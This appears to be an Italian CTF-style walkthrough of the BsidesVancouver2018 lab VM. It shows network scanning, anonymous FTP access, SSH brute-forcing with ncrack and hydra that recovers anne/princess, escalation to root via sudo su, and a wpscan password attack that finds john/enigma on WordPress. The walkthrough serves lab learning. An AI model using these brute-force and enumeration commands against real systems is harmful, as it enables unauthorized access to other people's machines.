

BsidesVancouver2018

Obiettivo: conquistare privilegi di root.

- Ricerca ip della macchina

`nmap -sn 192.168.1.0/24`

si trova l'ip 192.168.1.22 associato alla macchina Bsides.

- Nessus scan.

Si utilizza nessus per fare una scansione iniziale delle vulnerabilità.

REPORT DI VULNERABILITÀ – HOST: 192.168.1.22

1. Canonical Ubuntu Linux End-of-Life (12.04.x)

- **Gravità:**  CRITICA
- **Descrizione:** Sistema operativo non più supportato, quindi vulnerabile a una lunga serie di exploit noti.
- **Attacco:**
 - Usa searchsploit ubuntu 12.04 o linux-exploit-suggester.sh per local privilege escalation.
 - Attenzione particolare a vulnerabilità nel kernel (dirtycow, overlayfs).

2. Apache ETag Header Disclosure

- **Gravità:** MEDIA
- **Descrizione:** Può aiutare nel fingerprinting del sistema, ma non è una falla diretta.
- **Attacco:** Usa whatweb o curl -I per ottenere header e ricavare versione/OS. Utile per attacchi mirati.

3. SSH Debole (Algoritmi, Cifrature, MACs)

- **Gravità:** BASSA – MEDIA

- **Descrizione:** Supporta algoritmi deboli che possono facilitare downgrade attack o brute-force.
- **Attacco:**
 - Usa nmap -p22 --script ssh2-enum-algos 192.168.1.22
 - Brute-force SSH se trovi credenziali da altri servizi:

bash

CopiaModifica

```
hydra -l <user> -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.22
```

🔥 4. FTP Anonymous Login Abilitato + vsftpd 2.3.5

- **Gravità:** 🔥 ALTA (per l'esposizione)
- **Dettagli rilevati:**
 - **Porta:** 21/tcp
 - **Software:** vsftpd 2.3.5
 - **Login anonimo:** Consentito (230 Login successful)
 - **Directory accessibile:** /public
 - **File trovato:** users.txt.bk

🔪 Azioni per l'attacco:

✅ 1. Connessione FTP anonima

bash

CopiaModifica

```
ftp 192.168.1.22
```

```
# Login: anonymous
```

```
# Password: anonymous@
```

🔪 Conclusione e Prossimi Passi Consigliati

Priorità	Azione	Obiettivo
● Alta	Esplora FTP	Cercare credenziali o vettori di esecuzione remota
● Media	Analizza Apache e header	Ottenere info su versione e moduli attivi
● Bassa	Brute-force SSH	In caso trovi credenziali valide
🔄 Tutte	Dopo exploit: privilege escalation	Eleva i permessi una volta ottenuto l'accesso

Tramite FTP si è riusciti a trovare il file users.txt.bk contente 5 user id.

NCRACK

Tramite il comando

```
ncrack -v -g at=4 -U users.txt.bk -P /usr/share/wordlists/nmap.lst 192.168.1.22:22
```

```
(kali㉿kali)-[~]
└─$ ncrack -v -g at=4 -U users.txt.bk -P /usr/share/wordlists/nmap.lst 192.168.1.22:22
Starting Ncrack 0.7 ( http://ncrack.org ) at 2025-05-11 16:50 EDT
Discovered credentials on ssh://192.168.1.22:22 'anne' 'princess'
```

si è riusciti a ritrovare ID: anne e Pass: princess.

Inserendoli nella macchina avviene l'accesso, continuando con sudo su, si hanno i poteri di root.

```
BsidesVancouver2018 [In esecuzione] - Oracle VirtualBox
File  Macchina  Visualizza  Inserimento  Dispositivi  Aiuto

Welcome to BSides Vancouver 2018! Happy hacking

bsides2018 login: anne
Password:
Last login: Sat May 10 10:29:40 PDT 2025 from bsides2018.station on pts/1
anne@bsides2018:~$ sudo su
[sudo] password for anne:
root@bsides2018:/home/anne# _
```

Si può utilizzare ssh anne@192.168.1.22 per avere accesso da kali.

```
root@bsides2018: /home/anne

File  Actions  Edit  View  Help

(kali@kali)-[~]
$ ssh anne@192.168.1.22
anne@192.168.1.22's password:
Welcome to Ubuntu 12.04.4 LTS (GNU/Linux 3.11.0-15-generic i686)

 * Documentation:  https://help.ubuntu.com/

382 packages can be updated.
275 updates are security updates.

New release '14.04.5 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Sun May 11 11:56:55 2025
anne@bsides2018:~$ sudo su
[sudo] password for anne:
root@bsides2018:/home/anne#
```

GOBUSTER

Tramite il comando

```
gobuster dir -u http://192.168.1.22 -w /usr/share/wordlists/dirb/common.txt
```

si trovano /index.html /robots.txt

analizzando <http://192.168.1.22/robots.txt> si trova /backup_wordpress

andando su http://192.168.1.22/backup_wordpress/ si trova un blog che utilizza WordPress.

```

(kali㉿kali)~$ gobuster dir -u http://192.168.1.22 -w /usr/share/wordlists/dirb/common.txt

Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://192.168.1.22
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s

Starting gobuster in directory enumeration mode

/.htaccess (Status: 403) [Size: 289]
/.htpasswd (Status: 403) [Size: 289]
/.hta (Status: 403) [Size: 284]
/cgi-bin/ (Status: 403) [Size: 288]
/index (Status: 200) [Size: 177]
/index.html (Status: 200) [Size: 177]
/robots (Status: 200) [Size: 43]
/robots.txt (Status: 200) [Size: 43]
/server-status (Status: 403) [Size: 293]
Progress: 4614 / 4615 (99.98%)

Finished

```

Navigando si trova la pagina di log in, facendo delle prove si trova che l'utente john esiste ma non ne conosciamo la password.

WPSCAN

Tramite il comando

```
wpscan --url http://192.168.1.22/backup_wordpress --usernames john --passwords /usr/share/wordlists/rockyou.txt | tee wpscan.log
```

si associa l'id john alla password enigma il che ci garantisce accesso

http://192.168.1.22/backup_wordpress/wp-admin/

```

Checking Config Backups -:
[i] No Config Backups Found.
[+] Performing password attack on Xmlrpc against 1 user/s
Progress: |
[SUCCESS] - john / enigma

```

